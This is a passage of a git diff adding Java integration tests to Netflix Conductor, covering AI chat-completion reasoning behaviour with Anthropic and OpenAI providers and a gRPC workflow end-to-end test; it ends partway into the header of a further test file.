    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration.ai; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.UUID; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicReference; + +import org.awaitility.Awaitility; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.EnabledIfEnvironmentVariable; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.DynamicPropertyRegistry; +import org.springframework.test.context.DynamicPropertySource; +import org.springframework.test.context.TestPropertySource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.ConductorTestApp; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.core.execution.AsyncSystemTaskExecutor; +import com.netflix.conductor.core.execution.StartWorkflowInput; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.execution.tasks.SystemTaskRegistry; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.service.ExecutionService; +import com.netflix.conductor.service.MetadataService; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * End-to-end integration tests for the AI reasoning surface against real providers. + * + *

    Each nested test class is gated on an environment variable so the suite is safe to run in CI + * with all keys, or locally with only one. Tests are skipped (not failed) when the key is absent. + * + *

    Required environment variables: + * + *

      + *
    • {@code ANTHROPIC_API_KEY} — enables {@link AnthropicTests} + *
    • {@code OPENAI_API_KEY} — enables {@link OpenAITests} + *
    + * + *

    Optional overrides: + * + *

      + *
    • {@code ANTHROPIC_THINKING_MODEL} — model with extended thinking support (default: {@code + * claude-sonnet-4-6}) + *
    • {@code ANTHROPIC_MODEL} — lightweight model without thinking (default: {@code + * claude-haiku-4-5}) + *
    • {@code OPENAI_MODEL} — chat model for OpenAI tests (default: {@code gpt-4o-mini}) + *
    + * + *

    Assertions are intentionally coarser than unit tests: we verify that fields are present or + * absent on task output and that the mapper-resolved {@code messages} array (stored on {@code + * task.getInputData()}) has the correct shape — not exact LLM response content, which is + * non-deterministic. + */ +@SpringBootTest(classes = ConductorTestApp.class) +@TestPropertySource( + locations = "classpath:application-integrationtest.properties", + properties = { + "conductor.db.type=redis_standalone", + "conductor.queue.type=redis_standalone", + "conductor.app.sweeperThreadCount=1", + "conductor.app.sweeper.sweepBatchSize=1", + "conductor.app.sweeper.queuePopTimeout=750", + "conductor.integrations.ai.enabled=true" + }) +class AIReasoningEndToEndTest { + + @SuppressWarnings("resource") + private static final GenericContainer REDIS = + new GenericContainer<>(DockerImageName.parse("redis:6.2-alpine")) + .withExposedPorts(6379); + + static { + REDIS.start(); + } + + @DynamicPropertySource + static void properties(DynamicPropertyRegistry registry) { + registry.add("conductor.redis.availability-zone", () -> "us-east-1c"); + registry.add("conductor.redis.data-center-region", () -> "us-east-1"); + registry.add("conductor.redis.workflow-namespace-prefix", () -> "ai-e2e"); + registry.add("conductor.redis.queue-namespace-prefix", () -> "ai-e2e"); + registry.add( + "conductor.redis.hosts", + () -> "localhost:" + REDIS.getFirstMappedPort() + ":us-east-1c"); + registry.add( + "conductor.redis-lock.serverAddress", + () -> "redis://localhost:" + REDIS.getFirstMappedPort()); + // AI provider keys — when absent the provider bean is created with an empty key and + // will only fail on actual use, which the @EnabledIfEnvironmentVariable guards prevent. + registry.add( + "conductor.ai.anthropic.apiKey", + () -> System.getenv().getOrDefault("ANTHROPIC_API_KEY", "")); + registry.add( + "conductor.ai.openai.apiKey", + () -> System.getenv().getOrDefault("OPENAI_API_KEY", "")); + } + + @Autowired private MetadataService metadataService; + @Autowired private WorkflowExecutor workflowExecutor; + @Autowired private ExecutionService executionService; + @Autowired private QueueDAO queueDAO; + @Autowired private AsyncSystemTaskExecutor asyncSystemTaskExecutor; + + @Autowired + @Qualifier(SystemTaskRegistry.ASYNC_SYSTEM_TASKS_QUALIFIER) + private java.util.Set asyncSystemTasks; + + // ── Anthropic ────────────────────────────────────────────────────────── + + /** + * Tests against the Anthropic provider. + * + *

    Anthropic-specific behaviour exercised here: + * + *

      + *
    • Extended thinking ({@code thinkingTokenLimit > 0}) surfaces as {@code reasoning} on + * task output; Anthropic does NOT emit a separate {@code reasoning_tokens} counter. + *
    • {@code supportsAssistantPrefill() = false}: the mapper must not inject a trailing + * assistant message into a DO_WHILE loop body's messages array — if it did, Anthropic + * 4.6+ would reject the call with HTTP 400 and the workflow would fail. + *
    + */ + @Nested + @EnabledIfEnvironmentVariable(named = "ANTHROPIC_API_KEY", matches = ".+") + class AnthropicTests { + + private static final String PROVIDER = "anthropic"; + + private static final String THINKING_MODEL = + System.getenv().getOrDefault("ANTHROPIC_THINKING_MODEL", "claude-sonnet-4-6"); + + private static final String BASIC_MODEL = + System.getenv().getOrDefault("ANTHROPIC_MODEL", "claude-haiku-4-5"); + + @Test + void chatCompleteSurfacesReasoningOnTaskOutput() { + String wfName = "ai_reasoning_e2e_" + UUID.randomUUID(); + registerWorkflowWithThinking(wfName); + + Map input = new HashMap<>(); + input.put("llmProvider", PROVIDER); + input.put("model", THINKING_MODEL); + input.put("reasoningSummary", "auto"); + // Anthropic's enabled-thinking path requires budget_tokens >= 1024. + input.put("thinkingTokenLimit", 2000); + input.put("instructions", "Think step by step."); + input.put("userInput", "What is 2 + 2?"); + + Workflow completed = awaitWorkflow(startWorkflow(wfName, 1, input)); + assertEquals(Workflow.WorkflowStatus.COMPLETED, completed.getStatus()); + + Map output = completed.getTasks().get(0).getOutputData(); + assertNotNull(output); + assertNotNull( + output.get("reasoning"), + "Anthropic extended thinking must appear as 'reasoning' on task output when " + + "thinkingTokenLimit > 0 and reasoningSummary is set"); + // Anthropic bills extended thinking under output_tokens, not a separate counter. + // The field must be absent — not zero — so callers cannot misread 0 as "reasoning + // ran but was cheap". + assertNull( + output.get("reasoningTokens"), + "Anthropic does not surface reasoning_tokens; field must be absent on output"); + } + + @Test + void chatCompleteWithNoReasoningOmitsFields() { + String wfName = "ai_no_reasoning_e2e_" + UUID.randomUUID(); + registerWorkflow(wfName); + + Map input = new HashMap<>(); + input.put("llmProvider", PROVIDER); + input.put("model", BASIC_MODEL); + input.put("instructions", "Answer briefly."); + input.put("userInput", "What is 2 + 2?"); + + Workflow completed = awaitWorkflow(startWorkflow(wfName, 1, input)); + assertEquals(Workflow.WorkflowStatus.COMPLETED, completed.getStatus()); + + Map output = completed.getTasks().get(0).getOutputData(); + assertNotNull(output); + assertNull(output.get("reasoning"), "no thinking requested → reasoning must be absent"); + assertNull( + output.get("reasoningTokens"), + "no thinking requested → reasoningTokens must be absent"); + } + + @Test + void loopHistoryInjectionIsSuppressedWhenProviderRejectsPrefill() { + // Anthropic returns supportsAssistantPrefill()=false. If the mapper + // incorrectly appended the iter-1 assistant message into iter-2's messages, + // Anthropic 4.6+ would reject with HTTP 400 "This model does not support + // assistant message prefill." The workflow completing COMPLETED is the + // primary proof the suppression works; the messages assertion confirms it + // at the mapper level via task.getInputData(), which is stored before the + // provider call. + String wfName = "ai_loop_prefill_off_e2e_" + UUID.randomUUID(); + registerLoopWorkflow(wfName); + + Workflow completed = runLoopWorkflow(wfName, PROVIDER, BASIC_MODEL); + assertEquals(Workflow.WorkflowStatus.COMPLETED, completed.getStatus()); + + List> iter2Messages = + messagesForLoopIteration(completed, "chat", 2); + assertTrue( + iter2Messages.stream().noneMatch(m -> "assistant".equals(m.get("role"))), + "iteration 2 must NOT contain a trailing assistant message when the provider " + + "rejects prefill; saw " + + iter2Messages); + assertTrue( + iter2Messages.stream().anyMatch(m -> "user".equals(m.get("role"))), + "iteration 2 must still carry the user message; saw " + iter2Messages); + } + + @Test + void explicitPreviousResponseIdSuppressesLoopHistoryInjection() { + // A non-blank previousResponseId on the chat task must suppress the + // mapper's history injection regardless of whether the provider itself + // uses the field. Anthropic ignores previousResponseId at the API level, + // so this test isolates mapper behaviour without triggering a provider + // error on an unrecognised ID. + String wfName = "ai_loop_explicit_prev_e2e_" + UUID.randomUUID(); + registerLoopWorkflowWithPreviousResponseId(wfName); + + Workflow completed = runLoopWorkflow(wfName, PROVIDER, BASIC_MODEL); + assertEquals(Workflow.WorkflowStatus.COMPLETED, completed.getStatus()); + + List> iter2Messages = + messagesForLoopIteration(completed, "chat", 2); + assertTrue( + iter2Messages.stream().noneMatch(m -> "assistant".equals(m.get("role"))), + "previousResponseId set → assistant history injection must be suppressed; saw " + + iter2Messages); + } + } + + // ── OpenAI ──────────────────────────────────────────────────────────── + + /** + * Tests against the OpenAI provider (Responses API). + * + *

    OpenAI-specific behaviour exercised here: + * + *

      + *
    • {@code supportsAssistantPrefill() = true} (the default): the mapper IS expected to + * inject the prior iteration's output as an assistant message into a DO_WHILE loop body. + *
    • The Responses API returns a {@code response_id} in every reply; that ID must appear as + * {@code responseId} on task output so callers can thread multi-turn conversations. + *
    + */ + @Nested + @EnabledIfEnvironmentVariable(named = "OPENAI_API_KEY", matches = ".+") + class OpenAITests { + + private static final String PROVIDER = "openai"; + + private static final String MODEL = + System.getenv().getOrDefault("OPENAI_MODEL", "gpt-4o-mini"); + + @Test + void loopHistoryInjectionStillRunsWhenProviderAcceptsPrefill() { + // OpenAI accepts assistant-message prefill, so the mapper should inject + // iteration 1's output as an assistant turn into iteration 2's messages. + // The assertion reads from task.getInputData() — what the mapper persisted + // before the provider call — so it reflects mapper behaviour directly. + String wfName = "ai_loop_prefill_on_e2e_" + UUID.randomUUID(); + registerLoopWorkflow(wfName); + + Workflow completed = runLoopWorkflow(wfName, PROVIDER, MODEL); + assertEquals(Workflow.WorkflowStatus.COMPLETED, completed.getStatus()); + + List> iter2Messages = + messagesForLoopIteration(completed, "chat", 2); + assertTrue( + iter2Messages.stream().anyMatch(m -> "assistant".equals(m.get("role"))), + "iteration 2 must carry iteration 1's output as an assistant message when the " + + "provider accepts prefill; saw " + + iter2Messages); + } + + @Test + void responseIdIsSurfacedOnTaskOutput() { + // OpenAI Responses API includes a response_id on every reply. LLMHelper + // reads it from ChatResponseMetadata["response_id"] and sets it on + // LLMResponse.responseId, which the task worker writes to outputData. + String wfName = "ai_response_id_e2e_" + UUID.randomUUID(); + registerWorkflow(wfName); + + Map input = new HashMap<>(); + input.put("llmProvider", PROVIDER); + input.put("model", MODEL); + input.put("instructions", "Answer briefly."); + input.put("userInput", "What is 2 + 2?"); + + Workflow completed = awaitWorkflow(startWorkflow(wfName, 1, input)); + assertEquals(Workflow.WorkflowStatus.COMPLETED, completed.getStatus()); + + Map output = completed.getTasks().get(0).getOutputData(); + assertNotNull(output); + assertNotNull( + output.get("responseId"), + "OpenAI Responses API must surface response_id on task output for caller " + + "chaining"); + } + } + + // ── Shared helpers ───────────────────────────────────────────────────── + + private String startWorkflow(String name, int version, Map input) { + StartWorkflowInput swi = new StartWorkflowInput(); + swi.setName(name); + swi.setVersion(version); + swi.setWorkflowInput(input); + return workflowExecutor.startWorkflow(swi); + } + + private Workflow runLoopWorkflow(String wfName, String provider, String model) { + Map input = new HashMap<>(); + input.put("llmProvider", provider); + input.put("model", model); + input.put("instructions", "Answer in one sentence."); + input.put("userInput", "What is 2 + 2?"); + return awaitWorkflow(startWorkflow(wfName, 1, input)); + } + + private Workflow awaitWorkflow(String workflowId) { + AtomicReference latest = new AtomicReference<>(); + Awaitility.await() + .atMost(120, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .until( + () -> { + // System task workers are disabled in test mode + // (conductor.system-task-workers.enabled=false), so we + // manually drain any LLM_CHAT_COMPLETE tasks queued by + // the decider and execute them via AsyncSystemTaskExecutor + // — the same path SystemTaskWorkerCoordinator takes in + // production. + drainPendingChatTasks(); + Workflow wf = executionService.getExecutionStatus(workflowId, true); + latest.set(wf); + return wf != null + && wf.getStatus() != null + && wf.getStatus().isTerminal(); + }); + return latest.get(); + } + + private void drainPendingChatTasks() { + WorkflowSystemTask chatTask = + asyncSystemTasks.stream() + .filter(t -> "LLM_CHAT_COMPLETE".equals(t.getTaskType())) + .findFirst() + .orElseThrow( + () -> + new IllegalStateException( + "LLM_CHAT_COMPLETE WorkflowSystemTask was never" + + " registered — the AI module's" + + " WorkerTaskAnnotationScanner must run" + + " before this test executes.")); + List taskIds = queueDAO.pop("LLM_CHAT_COMPLETE", 5, 100); + for (String taskId : taskIds) { + asyncSystemTaskExecutor.execute(chatTask, taskId); + } + } + + /** + * Walks {@link Workflow#getTasks()} to find the LLM_CHAT_COMPLETE task that ran as the given + * iteration of the named loop body, then returns its mapper-resolved {@code messages} input — + * i.e. exactly what the task mapper wrote into {@code task.getInputData()} before the worker + * called the provider. Reading at this layer lets assertions speak to mapper behaviour + * directly, independent of any downstream normalisation in {@code LLMHelper}. + */ + @SuppressWarnings("unchecked") + private static List> messagesForLoopIteration( + Workflow workflow, String loopBodyRef, int iteration) { + return workflow.getTasks().stream() + .filter(t -> "LLM_CHAT_COMPLETE".equals(t.getTaskType())) + .filter(t -> t.getIteration() == iteration) + .filter( + t -> + t.getReferenceTaskName() != null + && t.getReferenceTaskName().startsWith(loopBodyRef)) + .findFirst() + .map(t -> (List>) t.getInputData().get("messages")) + .orElseThrow( + () -> + new IllegalStateException( + "no LLM_CHAT_COMPLETE task found for ref '" + + loopBodyRef + + "' iteration " + + iteration + + "; tasks: " + + workflow.getTasks())); + } + + // ── Workflow registration ────────────────────────────────────────────── + + private void registerWorkflow(String name) { + ensureTaskDef("LLM_CHAT_COMPLETE"); + + WorkflowTask task = new WorkflowTask(); + task.setName("LLM_CHAT_COMPLETE"); + task.setTaskReferenceName("chat"); + task.setType("LLM_CHAT_COMPLETE"); + Map taskInput = new HashMap<>(); + taskInput.put("llmProvider", "${workflow.input.llmProvider}"); + taskInput.put("model", "${workflow.input.model}"); + taskInput.put("instructions", "${workflow.input.instructions}"); + taskInput.put("userInput", "${workflow.input.userInput}"); + task.setInputParameters(taskInput); + + metadataService.updateWorkflowDef(List.of(singleTaskWorkflow(name, task))); + } + + private void registerWorkflowWithThinking(String name) { + ensureTaskDef("LLM_CHAT_COMPLETE"); + + WorkflowTask task = new WorkflowTask(); + task.setName("LLM_CHAT_COMPLETE"); + task.setTaskReferenceName("chat"); + task.setType("LLM_CHAT_COMPLETE"); + Map taskInput = new HashMap<>(); + taskInput.put("llmProvider", "${workflow.input.llmProvider}"); + taskInput.put("model", "${workflow.input.model}"); + taskInput.put("reasoningSummary", "${workflow.input.reasoningSummary}"); + taskInput.put("thinkingTokenLimit", "${workflow.input.thinkingTokenLimit}"); + taskInput.put("instructions", "${workflow.input.instructions}"); + taskInput.put("userInput", "${workflow.input.userInput}"); + task.setInputParameters(taskInput); + + metadataService.updateWorkflowDef(List.of(singleTaskWorkflow(name, task))); + } + + private void registerLoopWorkflow(String name) { + ensureTaskDef("LLM_CHAT_COMPLETE"); + + WorkflowTask chat = new WorkflowTask(); + chat.setName("LLM_CHAT_COMPLETE"); + chat.setTaskReferenceName("chat"); + chat.setType("LLM_CHAT_COMPLETE"); + Map taskInput = new HashMap<>(); + taskInput.put("llmProvider", "${workflow.input.llmProvider}"); + taskInput.put("model", "${workflow.input.model}"); + taskInput.put("instructions", "${workflow.input.instructions}"); + taskInput.put("userInput", "${workflow.input.userInput}"); + chat.setInputParameters(taskInput); + + metadataService.updateWorkflowDef(List.of(twoIterationLoopWorkflow(name, chat))); + } + + private void registerLoopWorkflowWithPreviousResponseId(String name) { + ensureTaskDef("LLM_CHAT_COMPLETE"); + + WorkflowTask chat = new WorkflowTask(); + chat.setName("LLM_CHAT_COMPLETE"); + chat.setTaskReferenceName("chat"); + chat.setType("LLM_CHAT_COMPLETE"); + Map taskInput = new HashMap<>(); + taskInput.put("llmProvider", "${workflow.input.llmProvider}"); + taskInput.put("model", "${workflow.input.model}"); + taskInput.put("instructions", "${workflow.input.instructions}"); + taskInput.put("userInput", "${workflow.input.userInput}"); + // Constant on every iteration — any non-blank previousResponseId triggers + // the mapper's suppression branch. The value need not be a valid provider + // response ID for providers that ignore the field (e.g. Anthropic). + taskInput.put("previousResponseId", "resp_explicit_loop_threading_test"); + chat.setInputParameters(taskInput); + + metadataService.updateWorkflowDef(List.of(twoIterationLoopWorkflow(name, chat))); + } + + private void ensureTaskDef(String taskType) { + TaskDef td = new TaskDef(); + td.setName(taskType); + td.setRetryCount(0); + td.setTimeoutSeconds(120); + try { + metadataService.registerTaskDef(List.of(td)); + } catch (Exception ignored) { + } + } + + private WorkflowDef singleTaskWorkflow(String name, WorkflowTask task) { + WorkflowDef def = new WorkflowDef(); + def.setName(name); + def.setVersion(1); + def.setOwnerEmail("ai-e2e@conductor.test"); + def.setTasks(List.of(task)); + return def; + } + + private WorkflowDef twoIterationLoopWorkflow(String name, WorkflowTask body) { + WorkflowTask loop = new WorkflowTask(); + loop.setName("loop"); + loop.setTaskReferenceName("loop"); + loop.setType(TaskType.DO_WHILE.name()); + loop.setLoopCondition("if ( $.loop['iteration'] < 2 ) { true; } else { false; }"); + loop.setLoopOver(List.of(body)); + + WorkflowDef def = new WorkflowDef(); + def.setName(name); + def.setVersion(1); + def.setOwnerEmail("ai-e2e@conductor.test"); + def.setTasks(List.of(loop)); + return def; + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/integration/grpc/GrpcEndToEndTest.java b/test-harness/src/test/java/com/netflix/conductor/test/integration/grpc/GrpcEndToEndTest.java new file mode 100644 index 0000000..e3c0ea4 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/integration/grpc/GrpcEndToEndTest.java @@ -0,0 +1,31 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration.grpc; + +import org.junit.Before; + +import com.netflix.conductor.client.grpc.EventClient; +import com.netflix.conductor.client.grpc.MetadataClient; +import com.netflix.conductor.client.grpc.TaskClient; +import com.netflix.conductor.client.grpc.WorkflowClient; + +public class GrpcEndToEndTest extends TestHarnessAbstractGrpcEndToEndTest { + + @Before + public void init() { + taskClient = new TaskClient("localhost", 8092); + workflowClient = new WorkflowClient("localhost", 8092); + metadataClient = new MetadataClient("localhost", 8092); + eventClient = new EventClient("localhost", 8092); + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/integration/grpc/TestHarnessAbstractGrpcEndToEndTest.java b/test-harness/src/test/java/com/netflix/conductor/test/integration/grpc/TestHarnessAbstractGrpcEndToEndTest.java new file mode 100644 index 0000000..cb5fd65 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/integration/grpc/TestHarnessAbstractGrpcEndToEndTest.java @@ -0,0 +1,259 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration.grpc; + +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.ConductorTestApp; +import com.netflix.conductor.client.grpc.EventClient; +import com.netflix.conductor.client.grpc.MetadataClient; +import com.netflix.conductor.client.grpc.TaskClient; +import com.netflix.conductor.client.grpc.WorkflowClient; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.Task.Status; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskDef.TimeoutPolicy; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.Workflow.WorkflowStatus; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.test.integration.TestHarnessAbstractEndToEndTest; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +@RunWith(SpringRunner.class) +@SpringBootTest( + classes = ConductorTestApp.class, + properties = { + "conductor.grpc-server.enabled=true", + "conductor.grpc-server.port=8092", + "conductor.app.sweeperThreadCount=1" + }) +@TestPropertySource(locations = "classpath:application-integrationtest.properties") +public abstract class TestHarnessAbstractGrpcEndToEndTest extends TestHarnessAbstractEndToEndTest { + + protected static TaskClient taskClient; + protected static WorkflowClient workflowClient; + protected static MetadataClient metadataClient; + protected static EventClient eventClient; + + @Override + protected String startWorkflow(String workflowExecutionName, WorkflowDef workflowDefinition) { + StartWorkflowRequest workflowRequest = + new StartWorkflowRequest() + .withName(workflowExecutionName) + .withWorkflowDef(workflowDefinition); + return workflowClient.startWorkflow(workflowRequest); + } + + @Override + protected Workflow getWorkflow(String workflowId, boolean includeTasks) { + return workflowClient.getWorkflow(workflowId, includeTasks); + } + + @Override + protected TaskDef getTaskDefinition(String taskName) { + return metadataClient.getTaskDef(taskName); + } + + @Override + protected void registerTaskDefinitions(List taskDefinitionList) { + metadataClient.registerTaskDefs(taskDefinitionList); + } + + @Override + protected void registerWorkflowDefinition(WorkflowDef workflowDefinition) { + metadataClient.registerWorkflowDef(workflowDefinition); + } + + @Override + protected void registerEventHandler(EventHandler eventHandler) { + eventClient.registerEventHandler(eventHandler); + } + + @Override + protected Iterator getEventHandlers(String event, boolean activeOnly) { + return eventClient.getEventHandlers(event, activeOnly); + } + + @Test + public void testAll() throws Exception { + assertNotNull(taskClient); + List defs = new LinkedList<>(); + for (int i = 0; i < 5; i++) { + TaskDef def = new TaskDef("t" + i, "task " + i, DEFAULT_EMAIL_ADDRESS, 3, 60, 60); + def.setTimeoutPolicy(TimeoutPolicy.RETRY); + defs.add(def); + } + metadataClient.registerTaskDefs(defs); + + for (int i = 0; i < 5; i++) { + final String taskName = "t" + i; + TaskDef def = metadataClient.getTaskDef(taskName); + assertNotNull(def); + assertEquals(taskName, def.getName()); + } + + WorkflowDef def = createWorkflowDefinition("test"); + WorkflowTask t0 = createWorkflowTask("t0"); + WorkflowTask t1 = createWorkflowTask("t1"); + + def.getTasks().add(t0); + def.getTasks().add(t1); + + metadataClient.registerWorkflowDef(def); + WorkflowDef found = metadataClient.getWorkflowDef(def.getName(), null); + assertNotNull(found); + assertEquals(def, found); + + String correlationId = "test_corr_id"; + StartWorkflowRequest startWf = new StartWorkflowRequest(); + startWf.setName(def.getName()); + startWf.setCorrelationId(correlationId); + + String workflowId = workflowClient.startWorkflow(startWf); + assertNotNull(workflowId); + + Workflow workflow = workflowClient.getWorkflow(workflowId, false); + assertEquals(0, workflow.getTasks().size()); + assertEquals(workflowId, workflow.getWorkflowId()); + + workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals(WorkflowStatus.RUNNING, workflow.getStatus()); + assertEquals(1, workflow.getTasks().size()); + assertEquals(t0.getTaskReferenceName(), workflow.getTasks().get(0).getReferenceTaskName()); + assertEquals(workflowId, workflow.getWorkflowId()); + + List runningIds = + workflowClient.getRunningWorkflow(def.getName(), def.getVersion()); + assertNotNull(runningIds); + assertEquals(1, runningIds.size()); + assertEquals(workflowId, runningIds.get(0)); + + List polled = + taskClient.batchPollTasksByTaskType("non existing task", "test", 1, 100); + assertNotNull(polled); + assertEquals(0, polled.size()); + + polled = taskClient.batchPollTasksByTaskType(t0.getName(), "test", 1, 1000); + assertNotNull(polled); + assertEquals(1, polled.size()); + assertEquals(t0.getName(), polled.get(0).getTaskDefName()); + Task task = polled.get(0); + + task.getOutputData().put("key1", "value1"); + task.setStatus(Status.COMPLETED); + taskClient.updateTask(new TaskResult(task)); + + polled = taskClient.batchPollTasksByTaskType(t0.getName(), "test", 1, 100); + assertNotNull(polled); + assertTrue(polled.toString(), polled.isEmpty()); + + workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals(WorkflowStatus.RUNNING, workflow.getStatus()); + assertEquals(2, workflow.getTasks().size()); + assertEquals(t0.getTaskReferenceName(), workflow.getTasks().get(0).getReferenceTaskName()); + assertEquals(t1.getTaskReferenceName(), workflow.getTasks().get(1).getReferenceTaskName()); + assertEquals(Status.COMPLETED, workflow.getTasks().get(0).getStatus()); + assertEquals(Status.SCHEDULED, workflow.getTasks().get(1).getStatus()); + + Task taskById = taskClient.getTaskDetails(task.getTaskId()); + assertNotNull(taskById); + assertEquals(task.getTaskId(), taskById.getTaskId()); + + Thread.sleep(1000); + SearchResult searchResult = + workflowClient.search("workflowType='" + def.getName() + "'"); + assertNotNull(searchResult); + assertEquals(1, searchResult.getTotalHits()); + assertEquals(workflow.getWorkflowId(), searchResult.getResults().get(0).getWorkflowId()); + + SearchResult searchResultV2 = + workflowClient.searchV2("workflowType='" + def.getName() + "'"); + assertNotNull(searchResultV2); + assertEquals(1, searchResultV2.getTotalHits()); + assertEquals(workflow.getWorkflowId(), searchResultV2.getResults().get(0).getWorkflowId()); + + SearchResult searchResultAdvanced = + workflowClient.search(0, 1, null, null, "workflowType='" + def.getName() + "'"); + assertNotNull(searchResultAdvanced); + assertEquals(1, searchResultAdvanced.getTotalHits()); + assertEquals( + workflow.getWorkflowId(), searchResultAdvanced.getResults().get(0).getWorkflowId()); + + SearchResult searchResultV2Advanced = + workflowClient.searchV2(0, 1, null, null, "workflowType='" + def.getName() + "'"); + assertNotNull(searchResultV2Advanced); + assertEquals(1, searchResultV2Advanced.getTotalHits()); + assertEquals( + workflow.getWorkflowId(), + searchResultV2Advanced.getResults().get(0).getWorkflowId()); + + SearchResult taskSearchResult = + taskClient.search("taskType='" + t0.getName() + "'"); + assertNotNull(taskSearchResult); + assertEquals(1, searchResultV2Advanced.getTotalHits()); + assertEquals(t0.getName(), taskSearchResult.getResults().get(0).getTaskDefName()); + + SearchResult taskSearchResultAdvanced = + taskClient.search(0, 1, null, null, "taskType='" + t0.getName() + "'"); + assertNotNull(taskSearchResultAdvanced); + assertEquals(1, taskSearchResultAdvanced.getTotalHits()); + assertEquals(t0.getName(), taskSearchResultAdvanced.getResults().get(0).getTaskDefName()); + + SearchResult taskSearchResultV2 = + taskClient.searchV2("taskType='" + t0.getName() + "'"); + assertNotNull(taskSearchResultV2); + assertEquals(1, searchResultV2Advanced.getTotalHits()); + assertEquals( + t0.getTaskReferenceName(), + taskSearchResultV2.getResults().get(0).getReferenceTaskName()); + + SearchResult taskSearchResultV2Advanced = + taskClient.searchV2(0, 1, null, null, "taskType='" + t0.getName() + "'"); + assertNotNull(taskSearchResultV2Advanced); + assertEquals(1, taskSearchResultV2Advanced.getTotalHits()); + assertEquals( + t0.getTaskReferenceName(), + taskSearchResultV2Advanced.getResults().get(0).getReferenceTaskName()); + + workflowClient.terminateWorkflow(workflowId, "terminate reason"); + workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals(WorkflowStatus.TERMINATED, workflow.getStatus()); + + workflowClient.restart(workflowId, false); + workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals(WorkflowStatus.RUNNING, workflow.getStatus()); + assertEquals(1, workflow.getTasks().size()); + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/integration/http/ForkJoinSyncModeIntegrationTest.java b/test-harness/src/test/java/com/netflix/conductor/test/integration/http/ForkJoinSyncModeIntegrationTest.java new file mode 100644 index 0000000..71c0790 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/integration/http/ForkJoinSyncModeIntegrationTest.java @@ -0,0 +1,817 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

